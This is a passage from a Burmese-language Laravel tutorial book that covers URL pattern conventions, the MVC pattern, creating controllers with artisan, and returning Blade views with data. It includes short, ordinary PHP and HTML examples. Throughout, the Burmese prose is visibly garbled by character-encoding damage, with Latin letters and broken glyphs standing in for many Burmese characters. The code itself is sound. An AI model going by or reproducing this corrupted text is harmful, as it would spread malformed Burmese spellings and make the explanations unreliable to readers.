 PHP 
Route::get('/articles/more', function() {
    return redirect()->route('article.detail');
});
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အလုပ်လုပ်ပံုက  အတတူူပါပဲ။  /articles/more ကိုသွားလုိက်ရင်  Redirect  လုပ်ထားတဲ့အတွက်
/articles/detail ကိုပဲ  dရာက်သွားမှာပါ။  ဒါdပမယ့်  URL  လိပ်စာကို  မသံုးdတာ့zဲ  dပးထားတဲ့
Route Name ကို သံုးပြပီး အလုပ်လုပ်လုိက်တာပါ။

ဆက်dgပာမယ်ဆိုရင်  Resource  Route  တို့  View  Route  တို့  Route  Group  တို့  ကျန်ပါdသးတယ်။
Resource Route အdeကာင်းကိုdတာ့ Basic API အခန်းကျမှ ဆက်eကည့်ပါမယ်။

URL Pattern
URL လိပ်စာdတွ သတ်မှတ်တဲ့အခါ ကြကိုက်တဲ့ပံုစံနဲ့ ကြကိုက်သလုိdပးလ့ုိရပါတယ်။ ဒါdပမယ့် dပးလ့ုိရတယ်
ဆိုတိုင် စတွ်dပးလ့ုိ မgoစ်ပါzူး။ များလာတဲ့အခါ ကိုယ်dပးထားတဲ့ URL ကို ကိုယ်မမှတ်မိdတာ့zဲ ရှုပ်ကုန်
ပါလိမ့်မယ်။  URL  လိပ်စာdတွdပးတဲ့အခါ လုိက်နာသင့်တဲ့  အချက်dလးdတွ ရိှပါတယ်။ လုိရင်းအနှစ်ချုပ်
အdနနဲ့ ဒီ Pattern dလး (၂) ခုကို မှတ်ထားdပးပါ။

• /resource/action/id
• /resource/action/id/sub-resource/sub-action

စာလံုးအdသးdတွချည်းပဲ  သံုးတယ်ဆိုတဲ့အချက်ကdန  စမှတ်ပါ။  လုိအပ်ရင်  Dash  ကို  သံုးနိုင်ပါတယ်။
Underscore  ကို မသံုးသင့်ပါzူး။  camelCase dတွ မသုံးသင့်ပါzူး။ dရှ့ဆုံးက အချက်အလက် အမျ ို း
အစား  (Resource)  နဲ့  စသင့်ပါတယ်။  Plural  Case  (အများကိန်း)  goစ်သင့်ပါတယ်။  ဥပမာ  -
articles,  users,  students,  customers,  products စသgoင့်  dဆာင်ရွက်လုိတဲ့
လုပ်ငန်းအမျ ို းအစား  goစ်ပါတယ်  (Noun  လ့ုိလည်း  ဆိုနိုင်ပါတယ်)။  သ့ူdနာက်က  အလုပ်အမျ ို းအစား
(Action) လုိက်သင့်ပါတယ်။ ဥပမာ - add, update, delete, view, detail စသgoင့် goစ်ပါ
တယ် (Verb လ့ုိလည်း ဆိုနိုင်ပါတယ်)။ dနာက်ဆုံးကdန Unique Identifier (id) လုိက်ရမှာပါ။ ဒီ Pattern
အတိုင်း URL လိပ်စာ အချ ို ့ကို နမူနာdoာ်gပလိုက်ပါတယ်။

• /users
• /products/view/{id}
• /customers/update/{id}
• /students/add
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Sub Route ပါဝင်တဲ့ နမူနာတစ်ချ ို ့ကိုလည်း doာ်gပdပးလုိက်ပါတယ်။

• /users/detail/{id}/photos
• /products/view/{id}/comments/add
• /students/show/{id}/marks

အတတ်နိုင်ဆုံး ဒီ Pattern dzာင်ထဲမှာပဲ URL လိပ်စာdတွကို သတ်မှတ်dပးပါ။ ဒီ Pattern dzာင်ထဲမှာ
ဝင်oုိ့ခက်တဲ့  ရှုပ်dထွးတဲ့  လုပ်dဆာင်ချက်dတွ  ရိှလာခဲ့ရင်dတာင်  ကြကိုးစားပြပီး  ရdအာင်သတ်မှတ်dပးပါ။
အပုိထပ်dဆာင်းလုိအပ်တဲ့  အချက်အလက်dတွကို  URL  Query  အdနနဲ့  goည့်dပးနိုင်ပါတယ်။  ဥပမာ  -
ရန်ကုန်တိုင်းမှာရှိတဲ့ dကျာင်းသူစာရင်းကို လုိချင်တယ်ဆိုeကပါစို့။ Resource (Noun) က students ပါ။
Action (Verb) က list (သ့ုိ) all goစ်နိုင်ပါတယ်။ တစ်ကယ်dတာ့ list တို့  all တို့ကို Default လ့ုိ
သdzာထားပြပီး မdပးတာ ပုိdကာင်းပါတယ်။ ID ကdတာ့ ဒီdနရာမှာ မလုိအပ်ပါzူး။ လုိချင်တဲ့ ရလဒ်မှာ
ပါဝင်တဲ့  ရန်ကုန်တိုင်း တို့  dကျာင်းသူတို့က zာdတွလဲ။  Resource  လား၊  Action  လား၊  ID  လား၊  Sub-
Route လား။ တစ်ခုမှ မဟုတ်ပါzူး။ ဒါdeကာင့် ဒီလုိမျ ို း မdပးသင့်ပါzူး။

• /students/list/yangon/female

URL dလးက သံုးချင်စရာdလးပါ။ ဒါdပမယ့် Pattern dzာင် မဝင်dတာ့ပါzူး။ dနာက်အလားတူ ကိစ္စမှာ
dရှ့ dနာက်မညီရင် ရှုပ်ကုန်ပါdတာ့မယ်။ ဥပမာ -

• /customers/all/male/yangon

dရှ့ dနာက်အစီအစဉ်dတွ  Consistence  မgoစ်dတာ့ပါzူး။  အသံုးအနှုန်းdတွ  Consistence  မgoစ်dတာ့ပါ
zူး။  Route  dတွများလာတဲ့အခါ  စီမံရခက်ကုန်ပါလိမ့်မယ်။  ဒါdeကာင့်  /resource/action/id
dzာင်ထဲကdနသာ တူညီစွာdပးပါ။ လက်dတွ့လုိအပ်တဲ့အခါ URL Query dတွကို သံုးနိုင်ပါတယ်။ ဥပမာ

• /students?location=ygn&sex=female

ဒါဟာ မgoစ်မdနလုိက်နာရမယ့် ပံုdသနည်းdတာ့ မဟုတ်ပါzူး။ ဒါdပမယ့် လုိက်နာမယ်ဆိုရင် အကျ ို းရှိတဲ့
URL Pattern Convention goစ်ပါတယ်။
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အခန်း (၄၃) – MVC – Model – View - Controller

Laravel  ဟာ  MVC Framework  တစ်ခုgoစ်တဲ့အတွက် dရှ့ ဆက်မသွားခင်  Model – View – Controller
(MVC) အdeကာင်းကို eကားgoတ်dလ့လာo့ုိ လုိအပ်ပါတယ်။ MVC ဟာ ကdန့dခတ်မှာ Web Application
Framework  တိုင်းက စံထားပြပီးသံုးdနeကတဲ့  Structure Pattern  goစ်ပါတယ်။ oတ်ရှုနားလည်ရလွယ်ကူ
ပြပီး  gပုgပင်ထိမ်းသိမ်းရလည်း လွယ်ကူတဲ့ကုဒ်dတွ  dရးသားo့ုိအတွက်  အdရးပါတဲ့  နည်းစနစ်တစ်ခုပါ။  ဒါ
deကာင့် ဒီအdeကာင်းက ချဲ့ရင်ချဲ့သdလာက် ရပါတယ်။ ဒီdနရာမှာdတာ့  ထံုးစံအတိုင်း  ရှည်ရှည်းdဝးdဝး
dတွကို dgပာမdနdတာ့zဲ လုိရင်းကိုပဲ dgပာမှာ goစ်ပါတယ်။

MVC  ရဲ့  M  ဟာ  Model  ဆိုတဲ့  အဓိပ္ပါယ်ပါ။  Model  ဆိုတာ  Data Model  ကို  ဆိုလုိပါတယ်။ ဒါdeကာင့်
Model  ဆိုတာ  Data  dတွ  စီမံခန့်ခွဲgခင်းလုပ်ငန်းလ့ုိ  ဆိုနိုင်ပါတယ်။  MVC  ရဲ့  V  ကdတာ့  View  ဆိုတဲ့
အဓိပ္ပါယ်ပါ။  User  Interface  လ့ုိလည်း  ဆိုနိုင်ပါတယ်။  MVC  ရဲ့  အဓိကလုိရင်းကdတာ့  ကုဒ်dတွdရးတဲ့
အခါမှာ Data   စီမံတဲ့ကုဒ်   (Model)   နဲ့   UI   စီမံတဲ့ကုဒ်   (View)   ကို သီးgခားစီ ခွဲgခားပြပီးdရးသားရgခင်း   ပဲ goစ်ပါ
တယ်။  ဒါdeကာင့်  MVC  နဲ့  ပတ်သက်ရင်  ဒီသတ်မှတ်ချက်က  eကပ်eကပ်မတ်မတ်လုိက်နာdပးရမယ့်
သတ်မှတ်ချက် goစ်ပါတယ်။ Model ကုဒ်နဲ့ View ကုဒ်ကို zယ်dတာ့မှ dရာမdရးပါနဲ့။

MVC ရဲ့ C ကdတာ့ Controller ဆိုတဲ့ အဓိပ္ပါယ်ပါ။ သ့ူရဲ့လုပ်ငန်းကdတာ့ User Input နဲ့ Output dတွကို
စီမံတဲ့လုပ်ငန်းgoစ်ပါတယ်။  Web Application  တစ်ခုမှာ  User Input  dတွဟာ  Request  အdနနဲ့လာပြပီး
Output dတွကို  Response အdနနဲ့ gပန်ထုတ်dပးရပါတယ်။ ဒါdeကာင့် တစ်နည်းအားgoင့် Controller   ဆို  
တာ   Request   နဲ့   Response   dတွကို စီမံတဲ့လုပ်ငန်း   လ့ုိ ဆိုနိုင်ပါတယ်။
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ဒါဟာ MVC အနှစ်ချုပ်ပါပဲ။ ကုဒ်dတွdရးတဲ့အခါ ဒီအပုိင်း (၃) ပုိင်းကို သီးgခားစီခွဲgခားပြပီး dရးသားရမှာ goစ်
ပါတယ်။  zယ်လုိခွဲရမှာလည်းဆိုတာကို  dခါင်းစားစရာမလုိပါzူး။  သdzာသzာဝ  သိထားရင်  ရပါပြပီ။
ကိုယ်တိုင်အdသးစိတ် လုိက်စီမံစရာ မလုိပါzူး။  Laravel  က ကုဒ်dတွdရးတဲ့အခါ  MVC Pattern နဲ့ကိုက်
ညီdအာင် dရးသားနိုင်o့ုိအတွက် ထည့်သွင်း စီစဉ်dပးထားပြပီးgoစ်ပါတယ်။ ကိုယ့်zက်က သdzာသzာဝ
ကို သိထားပြပီးပြပီဆိုရင် ကုဒ်dရးတာကdတာ့ Framework က စီစဉ်dပးထားတဲ့အတိုင်း dရးယံုပါပဲ။

MVC Pattern  ကို အသံုးgပုdရးသားထားတဲ့ ကုဒ်ရဲ့  User Input (Request)  ကို စတင်လက်ခံတဲ့ အဆင့်
ကdန dနာက်ဆုံး  Output (Response) ကို  User ထံgပန်dပးတဲ့အဆင့်ထိ သွားdလ့ရှတိဲ့  Workflow ကို ပံု
dလးနဲ့လည်း doာ်gပdပးလုိက်ပါတယ်။
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ဒီပံုဟာ မူလပထမ Professional Web Developer  လ့ုိdခါ်တဲ့ ကျွန်dတာရ်ဲ့စာအုပ်မှာ အသံုးgပုထားတဲ့ ပံု
goစ်ပါတယ်။ မျှားdလးdတွမှာ နံပါတ်စဉ်တပ်dပးထားလ့ုိ အစီအစဉ်အတိုင်း eကည့်သွားပါ။ 

MVC Pattern နဲ့ dရးထားတဲ့ ကုဒ်ရဲ့ အလုပ်လုပ်ပံုအဆင့်ဆင့်ကို ပံုမှာgပထားတဲ့အတိုင်း dသချာနားလည်
dအာင် eကည့်ပြပီး dခါင်းထဲမှာ စွဲdနdအာင် မှတ်ထားo့ုိ လုိပါတယ်။ ဒီdတာ့မှ ကိုယ်dရးတဲ့ ကုဒ်ရဲ့  အလုပ်
လုပ်ပုံအဆင့်ဆင့်ကို ဆက်စပ်ပြပီး gမင်နိုင်စွမ်း ရှိမှာgoစ်ပါတယ်။
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အခန်း (၄၄) – Laravel Controller

ပြပီးခဲ့အခန်းမှာ  Controller  ရဲ့အလုပ်က Request, Response dတွစီမံoို့လ့ုိ dgပာခဲ့ပါတယ်။ Request dတွ
စီမံတယ်ဆိုတာ -

1. User dပးပ့ုိတဲ့ Request Data dတွကို၊ လက်ခံမယ်၊ စီစစ်မယ်၊ 
2. ပြပီးရင် Model တို့ View တို့နဲ့ ဆက်သွယ်ပြပီး လုပ်စရာရှိတာလုပ်မယ်၊ 
3. ပြပီးတဲ့အခါ dနာက်ဆုံးရလဒ်ကို User ကို Response အdနနဲ့ gပန်dပးမယ်၊

- ဆိုတဲ့ အလုပ်ပါ။ ဒီdနရာမှာ လုပ်စရာရှိတာကို Model တို့ View တို့နဲ့ ဆက်သွယ်ပြပီး လုပ်တယ်ဆိုတာကို
သတိgပုပါ။ သူကိုယ်တိုင် မလုပ်ပါzူး။ သ့ူအလုပ်၊ သ့ူတာဝန်က Request ကိုလက်ခံပြပီး Response ကို gပန်
dပးo့ုိသာ goစ်ပါတယ်။

Controller  ကုဒ်dတွ  စတင်dရးသားစမ်းသပ်နိုင်oို့အတွက်  Controller  oုိင်  တည်dဆာက်dပးရပါမယ်။
Laravel  မှာ ဒီလို  လုိအပ်တဲ့  ကုဒ်oုိင်dတွကို  တည်dဆာက်dပးနိုင်တဲ့  Code Generator  အသင့် ပါဝင်ပါ
တယ်။ ဒါdeကာင့်  Controller  oုိင်တည်dဆာက်တဲ့အလုပ်ကို  ကိုယ့်zာသာ လုပ်စရာ မလုိပါzူး။  ပdရာ
Zျက် oုိဒါထဲမှာ ဒီ Command ကို Run dပးပြပီး Controller oုိင်တစ်ခု တည်dဆာက်နိုင်ပါတယ်။

php artisan make:controller ArticleController

artisan ဆိုတာ Laravel Framework နဲ့အတူပါဝင်လာတဲ့ ပdရာZျက်ကို စီမံနိုင်တဲ့ နည်းပညာပါ။ အ့ဲဒီ
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artisan ရဲ့အကူအညီနဲ့  make:controller, make:model စသgoင့်  လုိအပ်တဲ့  ကုဒ်oုိင်dတွ
တည်dဆာက်နိုင်ပါတယ်။  dပးထားတဲ့နမူနာမှာ  make:controller ကိုသံုးပြပီး  Controller  oုိင်
တည်dဆာက်ထားပါတယ်။ dနာက်ဆုံးက  ArticleController ဆိုတာကdတာ့  Controller Class
ရဲ့အမည်ပါ။  Class  Name  goစ်တဲ့အတွက်  CapitalCase နဲ့dပးရပြပီး  နမူနာမှာdပးထားသလို
___Controller ဆိုတဲ့ Suffix  နဲ့ အဆုံးသတ်dပးသင့်ပါတယ်။ ဥပမာ - ArticleController,
CommentController, CategoryController စသgoင့်ပါ။

ဒီ  Command  ကို  Run  လုိက်တာနဲ့  ArticleController.php ဆိုတဲ့အမည်နဲ့  oုိင်တစ်ခု
/app/Http/Controllers oုိဒါထဲမှာ  တည်dဆာက်dပးသွားပါလိမ့်မယ်။  အထဲမှာလည်း  အခုလုိ
ကုဒ်dတွ တစ်ခါတည်း ပါဝင်လာပါလိမ့်မယ်။

 PHP 
<?php

namespace App\Http\Controllers;
use Illuminate\Http\Request;
class ArticleController extends Controller
{
    //
}

ထိပ်ဆုံးမှာ  namespace deကညာချက်ကိုသတိထားeကည့်ရင်  အခန်း  (၂)  မှာ  dgပာခဲ့သလုိ  oုိဒါ  Path
လမ်းdeကာင်းအတိုင်း Namespace ကို dပးထားတာကို dတွ့ရနိုင်ပါတယ်။

Controller  ရဲ့တာဝန်ဟာ  Request/Response  dတွတာဝန်ယူoို့လ့ုိ  ခဏနေခဏနေ  dgပာgoစ်ပါတယ်။  User
Request ဆိုတာ URL ကdနတစ်ဆင့်လာမှာ goစ်လုိ့  Controller  ဟာ Route နဲ့ တွဲပြပီး အလုပ်လုပ်o့ုိလုိပါ
တယ်။  URL  လမ်းdeကာင်းက Route  မှာ သတ်မှတ်ထားတာမ့ုိလ့ုိပါ။ ဒီသdzာသzာဝ ကို စမ်းသပ်နိုင်o့ုိ
အတွက် ArticleController.php ထဲက ကုဒ်ကို အခုလုိ goည့်စွက်လိုက်ပါ။
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 PHP 
<?php

namespace App\Http\Controllers;
use Illuminate\Http\Request;
class ArticleController extends Controller
{
    public function index()
    {
        return "Controller - Article List";
    }
    public function detail($id)
    {
        return "Controller - Article Detail - $id";
    }
}

index() နဲ့  detail() ဆိုပြပီး  Method နှစ်ခု dရးdပးလုိက်တာပါ။ ပြပီးတဲ့အခါ routes/web.php
မှာအခုလုိ ArticleController Class ကို Import လုပ်dပးပါ။

 PHP 
use App\Http\Controllers\ArticleController;

ပြပီးတဲ့အခါ dစာdစာကdရးထားတဲ့ Route dတွကို အခုလုိ gပင်dပးရပါမယ်။

 PHP 
Route::get('/articles', [ArticleController::class, 'index']);
Route::get('/articles/detail/{id}', [

ArticleController::class,
'detail'

]);

ပြပီးခဲ့တဲ့အခန်းမှာ  Route  dတွသတ်မှတ်တဲ့အခါ dရှ့က  URL  လိပ်စာdပးပြပီး  dနာက်က အလုပ်လုပ်ရမယ့်
Function ကိdုရးdပးခဲ့တာပါ။ အခုdတာ့ dgပာင်းသွားပါပြပီ။ dရှ့ က URL လိပ်စာgoစ်ပြပီး dနာက်က အလုပ်
လုပ်ရမယ့်  Controller  Class  နဲ့  Method  ပါဝင်တဲ့  Array  တစ်ခု  goစ်သွားပါပြပီ။  ဒီနည်းနဲ့  Route  နဲ့
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Controller  ကို ချတိ်ဆက်dပးနိုင်ပါတယ်။ လကရ်ှိ  routes/web.php ရဲ့ ကုဒ်အgပည့်အစုံက ဒီလုိgoစ်
သင့်ပါတယ်။

 PHP 
<?php

use Illuminate\Support\Facades\Route;
use App\Http\Controllers\ArticleController;
Route::get('/', [ArticleController::class, 'index']);
Route::get('/articles', [ArticleController::class, 'index']);
Route::get('/articles/detail/{id}', [

ArticleController::class,
'detail'

]);

စမ်းထားတဲ့  ကုဒ်dတွနဲ့  Comment  dတွကို  oယ်ထုတ်လုိက်တာပါ။ စုစုdပါင်း  Route (၃)  ခုပဲ ရိှပါတယ်။
zာမှမပါတဲ့  URL  အလွတ်ဆိုရင်လည်း  ArticleController ရဲ့  index() Method  ကိုပဲ အလုပ်
လုပ်oို့  ညွှန်းdပးထားတာကို  သတိgပုပါ။  နZိုပါလာတဲ့ကုဒ်က  Welcome  View  ကိုgပတဲ့ကုဒ်goစ်ပြပီး  အခု
dတာ့ အ့ဲဒီ  Welcome View ကို မလုိချင်လို့ oယ်လုိက်တာပါ။ လက်dတွ့စမ်းeကည့်ပါ။ URL လိပ်စာတစ်ခု
ထည့်သွင်းdပးလိုက်ရင်  ညွှန်းဆိုထားတဲ့  Controller  Method  အလုပ်လုပ်သွားတယ်ဆိုတာကို  dတွ့ရမှာ
goစ်ပါတယ်။

Controller  မှာလည်း  Single Action Controller  တို့  Resource Controller  တို့လုိ လုပ်dဆာင်ချက်dတွ
ကျန်ပါdသးတယ်။ အခုထည့်eကည့်စရာ မလုိdသးပါzူး။ ထည့်eကည့်သင့်တဲ့ တစ်ချက်ကdတာ့ Controller
dတွများလာရင် /app/Http/Controllers ထဲမှာ oုိင်dတွ ပွထမdနdအာင် oုိဒါdလးdတွခွဲပြပီး ထား
နည်းgoစ်ပါတယ်။  ဥပမာ  -  Article oုိဒါdအာက်မှာ  ArticleController,  Comment
Controller, CategoryController တို့ကို  ထားပြပီး  Product oုိဒါdအာက်မှာ  Product
Controller,  ReviewController,  CategoryController စသgoင့်  သက်ဆိုင်ရာ
Controller  dတွကို  အုပ်စုခွဲပြပီး  oုိဒါdလးdတွ  ခွဲထားတဲ့  သdzာမျ ို းပါ။  ဒီအတွက်လည်း  လွယ်ပါတယ်။
Controller oုိင်တည်dဆာက်စဉ်မှာ အခုလုိ dဆာက်dပးလုိက်ယံုပါပဲ။



PWD 2022 – အခန်း (၄၄) – Laravel Controller 671

php artisan make:controller Product/ProductController

ဒီလုိဆိုရင်  Laravel  က  ProductController.php oုိင်ကို  /app/Http/Controllsers/
Product dအာက်မှာ  တည်dဆာက်dပးသွားမှာ  goစ်ပါတယ်။  ဒီ  Controller  ထဲက  Method  dတွကို
Route နဲ့ချတိ်လုိရင်dတာ့ အခုလုိ ချတိ်dပးရမှာပါ။

 PHP 
use App\Http\Controllers\Product\ProductController;
Route::get('/products', [ProductController::class, 'index']);

Controller Namespace ကို မှန်dအာင် Import လုပ်dပးလုိက်ယံုပါပဲ။ ဒီနည်းနဲ့  Controller dတွကို သ့ူoုိ
ဒါနဲ့သူ Organize လုပ်ထားလ့ုိ ရပါတယ်။
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အခန်း (၄၅) – Laravel View

လက်ရှိ  Route  နဲ့  Controller  အတွက်  dရးစမ်းတဲ့ကုဒ်dတွမှာ  URL  လိပ်စာတစ်ခုကို  လက်ခံရရှရိင်
စာdeကာင်း တစ်deကာင်းကို  Response  အdနနဲ့ gပန်dပးo့ုိ dရးခဲ့တာပါ။ ဒီအခန်းမှာdတာ့  Response  ကို
အ့ဲဒီလုိ စာတစ်deကာင်းအdနနဲ့ မဟုတ်dတာ့zဲ HTML Template အdနနဲ့ gပန်dပးပံု dပးနည်းကို dလ့လာ
eကမှာgoစ်ပါတယ်။  ဒီအတွက်  View  ကို  အသံုးgပုနိုင်ပါတယ်။  Laravel  မှာ  View  Template  dတွကို
/resources/views oုိဒါထဲမှာ dရးdပးရပါတယ်။ View Template ကုဒ်oုိင်dတွ တည်dဆာက်dပးတဲ့
Code Generator dတာ့ Laravel မှာ တစ်ခါတည်း မပါပါzူး။ Third-party Package အdနနဲ့ ထပ်ထည့်
လ့ုိရdပမယ့်  မထည့်dတာ့ပါzူး။  ကိုယ်zာသာပဲ  oုိင်ကိုတည်dဆာက်ပါမယ်။  ဒါdeကာင့်
/resources/views oုိဒါdအာက်မှာ  /articles ဆိုတဲ့  အမည်နဲ့  oုိဒါတစ်ခု  ထပ်dဆာက်ပါ။
ကိုယ်တိုင် dရးသားမယ့် View Template dတွကို အ့ဲဒီ /articles oုိဒါထဲမှာသိမ်းသွားမှာပါ။

�ှတ်ချက် - oုိင်dတွ oုိဒါdတွကို s, es နဲ့ အဆုံးသတ်ပြပီး Plural Case နဲ့ အမည်dပးတဲ့ oုိင်dတွ oုိဒါdတွ
ရိှပါတယ်။  သတိထားပါ။  အdeကာင်းမ့ဲ  မဟုတ်ပါzူး။  dပးသင့်လ့ုိ  dပးခဲ့တာပါ။  Convention  Over
Configuration deကာင့် dပးတာရှိသလုိ၊ Coding Standard dခါ် အများစံထားပြပီး dပးdလ့ရှိတဲ့ နည်းမို့လ့ုိ
dပးတာdတွလည်း ရိှပါတယ်။ တစ်ခုမကျန်  လုိက်ရှင်းgပdနရင် ပုိရှုပ်ပြပီး  dပရှည်dနမှာစိုးလ့ုိ  အကုန်မရှင်း
dတာ့တာပါ။ dကျးဇူးgပုပြပီး အ့ဲဒီ  s, es dလးdတွကို သတိထားပြပီး နမူနာမှာ dပးတဲ့အတိုင်းပဲ ကြကိုးစား
ပြပီး လုိက်dပးo့ုိ သတိထားdပးပါ။  Laravel  dလ့လာစလူdတွ ကုဒ်  Error  goစ်dနရင် အများအားgoင့် အ့ဲဒီ
နာမည်dလးdတွ လဲွdနလ့ုိ တက်eကတာ dတာ်dတာ်များပါတယ်။  Error    တက်dနရင် အ့ဲဒီ နာမည်dတွကို  
အရင် gပန်စစ်eကည့်ပါ။
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/resources/views/articles oုိဒါdအာက်မှာ  index.blade.php အမည်နဲ့  oုိင်တစ်ခု
တည်dဆာက်dပးပါ။  oုိင်  Extension  က  blade.php goစ်ရပါမယ်။  Laravel  က  Blade  လ့ုိdခါ်တဲ့
Template  နည်းပညာတစ်ခုကို  သံုးထားတဲ့အတွက်deကာင့်ပါ။  ဒီနည်းပညာအdeကာင်းကို  eကားgoတ်
dလ့လာစရာ  မလုိdသးပါzူး။  လုိအပ်လာdတာ့မှ  ထူးgခားချက်dလးdတွ  dရးွမှတ်လိုက်ရင်  ရပါပြပီ။
Symfony Framework ကသံုးတဲ့ Twig Template နည်းပညာတို့ Smarty Template နည်းပညာတို့ ဆိရုင်
မရပါzူး။  သီးgခား  Language  လုိ  goစ်dနလ့ုိ  အချနိ်dပးပြပီးdလ့လာo့ုိ  လုိနိုင်ပါတယ်။  Blade  ကdတာ့
သပ်သပ် အချနိ်dပးdလ့လာdနစရာမလုိပါzူး။ အများအားgoင့် PHP dရးထံုးအတိုင်းပဲ dရးရလ့ုိ လွယ်ကူပါ
တယ်။ တည်dဆာက်ထားတဲ့ index.blade.php ထဲမှာ ဒီ HTML ကုဒ်ကို dရးdပးပါ။

 HTML/PHP 
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
    <meta charset="utf-8">
    <title>Article List</title>
</head>
<body>
    <h1>Article List</h1>
    <ul>
        <li>Article One</li>
        <li>Article Two</li>
    </ul>
</body>
</html>

zာမှဆန်းgပားတဲ့ကုဒ်dတွ  မပါဝင်တဲ့  ရိုးရိုး  HTML  ကုဒ်goစ်ပါတယ်။  ပြပီးတဲ့အခါ  Article
Controller  ရဲ့  index() Method  ကို  အခုလုိgပင်dပးပါ  (Controller  oုိင်တည်dနရာdတာ့ ထပ်မ
dgပာdတာ့ပါzူး၊ မှတ်မိဦးမယ် ထင်ပါတယ်)။

 PHP 
public function index()
{
    return view('articles/index');
}
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ဒီတစ်ခါ index() Method က စာတစ်deကာင်းကို gပန်မdပးdတာ့zဲ view() Function ရဲ့ အကူအညီ
နဲ့  articles oုိဒါထဲက  index Template  ကို  Response  အdနနဲ့  gပန်dပးလုိက်gခင်း  goစ်ပါတယ်။
dနာက်တစ်နည်းအdနနဲ့ အခုလုိ dရးနိုင်ပါတယ်။

 PHP 
public function index()
{
    return view('articles.index');
}

အတူတူပါပဲ။ Template Path dပးတဲ့dနရာမှာ Slash အစား Dot ကို dgပာင်းသံုးလုိက်တာပါ။ Laravel က
ဒီလုိdရးတာကို  လက်ခံပါတယ်။ oတရ်တာ မျက်စိထဲမှာ  ပုိရှင်းတဲ့အတွက်  ဒီလုိ  Dot  နဲ့dရးတာကို  ပုိပြပီး
dတာ့ လူကြကိုက်များပါတယ်။ ခုdန စမ်းeကည့်ရင် ရလဒ်က အခုလုိ goစ်မှာပါ။

နမူနာပံုကိုdလ့လာeကည့်လုိက်ရင်  URL  လိပ်စာက  /articles goစ်dနတဲ့အခါ  ကျွန်dတာ်တို့dရး
dပးလုိက်တဲ့  index Template  ကို  dတွ့gမင်ရမှာပါ။  URL  /articles ဆိုရင်  Article
Controller@index Method  အလုပ်လုပ်သွားပါတယ်။  Route  မှာ  သတ်မှတ်ထားလ့ုိပါ။
ArticleController ရဲ့ index() Method က view() Function ကိုသံုးပြပီး index Template
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ကို gပန်dပးလ့ုိ အခုလုိရလဒ်ကို ရရှိgခင်းပဲ goစ်ပါတယ်။

ဆက်လက်ပြပီး  Controller  ကdန  View  ကို  Data  dပးပံုdပးနည်း  dလ့လာeကပါမယ်။  Article
Controller ရဲ့ index() Method ကို အခုလုိgပင်dပးပါ။

 PHP 
public function index()
{
    $data = [
        [ "id" => 1, "title" => "First Article" ],
        [ "id" => 2, "title" => "Second Article" ],
    ];

    return view('articles.index', [
        'articles' => $data
    ]);
}

အdတွ့အကြကုံအရ  dလ့လာစလူdတွ  ဒီနားdလးမှာ  အရမ်းမျက်စိလည်eကလို့  သတိထားeကည့်dပးပါ။
$data Variable  ဟာ နမူနာ  Array  တစ်ခုgoစ်ပါတယ်။  view() Function  မှာ  Parameter  နှစ်ခုgoစ်
သွားပါပြပီ။ ပထမတစ်ခုက Template goစ်ပြပီး ဒုတိယတစ်ခုကdတာ့ Data goစ်ပါတယ်။ Array Format နဲ့
dပးရပါတယ်။  'articles' => $data လ့ုိ dရးထားတဲ့အတွက်  $data ကို  articles အdနနဲ့
dပးလုိက်တာပါ။ ဒီလုိdပးလုိက်တဲ့အတွက် Template မှာ $articles Variable ကို သံုးလ့ုိရသွားပါလိမ့်
မယ်။ 

dနာက်တစd်ခါက်  gပန်dgပာပါဦးမယ်။  dပးလိုက်တာက  $data ကို  dပးလုိက်တာပါ။  အသံုးgပုတဲ့အခါ
$articles လ့ုိ အသံုးgပုdပးရမှာ goစ်ပါတယ်။ 'articles' => $data လ့ုိ dgပာထားတဲ့ အတွက်
deကာင့်ပါ။

ဆက်လက်ပြပီး /articles/index.blade.php oုိင်ထဲကကုဒ်ကို အခုလုိgပင်dပးပါ။
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 HTML/PHP 
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
    <meta charset="utf-8">
    <title>Article List</title>
</head>
<body>
    <h1>Article List</h1>
    <ul>
        <?php foreach($articles as $article): ?>
            <li><?php echo $article['title'] ?></li>
        <?php endforeach ?>
    </ul>
</body>
</html>

$articles ကို  PHP  foreach() နဲ့  Loop  ပါတ်ပြပီး  title dတွကို  ရိုက်ထုတ်doာ်gပထားတာပါ။
အဓိပ္ပါယ်က Controller ကdပးလုိက်တဲ့ Data ကို View က အသံုးgပုdနတဲ့ သdzာပဲ goစ်ပါတယ်။ ဒါdလး
ကို dကာင်းdကာင်း သdzာdပါက်o့ုိ အdရးကြကီးပါတယ်။

နမူနာမှာdရးတဲ့အခါ ရိုးရိုး PHP dရးထံုးကိုသာ သံုးပါတယ်။ Blade Template နည်းပညာကို အသုံးgပုပြပီး
gပင်dရးeကည့်ပါမယ်။ ဒီလုိdရးရမှာပါ - 

 HTML/Blade/PHP 
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
    <meta charset="utf-8">
    <title>Article List</title>
</head>
<body>
    <h1>Article List</h1>
    <ul>
        @foreach($articles as $article)
            <li>{{ $article['title'] }}</li>
        @endforeach
    </ul>
</body>
</html>
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Operator  နှစ်ခုပဲ မှတရ်မှာပါ။  @ နဲ့  {{ }} goစ်ပါတယ်။  @ သdက[တကို ရိုးရိုး  PHP Statement  dတွ
အတွက် သံုးရပြပီး  {{  }} အoွင့်အပိတ်သdက[တကို  echo နဲ့  Output  ရိုက်ထုတ်တဲ့  Statement  dတွ
အတွက် သံုးရတယ်လ့ုိ အလွယ်မှတ်နိုင်ပါတယ်။ ဒါdeကာင့် <?php ?> အoွင့်အပိတ်dတွ  echo dတွ မ
လုိအပ်dတာ့  ပါzူး။  dရးရတာရှင်းသွားသလုိ  oတ်လ့ုိလည်း  ပုိdကာင်းသွားပါတယ်။  မှတ်ရတာလည်း  မ
များသလုိ  XSS Escape  လ့ုိ  လံုခြခုံdရးအတွက်  အdရးပါတဲ့  လုပ်dဆာင်ချက်dတွကိုလည်း  ကိုယ်သိလိုက်
စရာမလိုzဲ တစ်ခါတည်း ထည့်လုပ်dပးသွားလ့ုိ ဒီdရးနည်းကိုသာ ဆက်လက် အသံုးgပုသွားသင့်ပါတယ်။ 

ဆက်dgပာမယ်ဆိုရင် Master Template တို့  View Composer တို့အdeကာင်း dgပာရမှာပါ။ မdgပာdသးပါ
zူး။ ဒီအခန်းမှာ ဒီdလာက်ပဲ မှတ်ထားပါ။ dနာက်ပုိင်းမှာ Master Template အပါအဝင် UI နဲ့  Template
ပုိင်း လုပ်စရာdတွ အများကြကီး ကျန်ပါdသးတယ်။
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အခန်း (၄၆) – Laravel Migration and Model

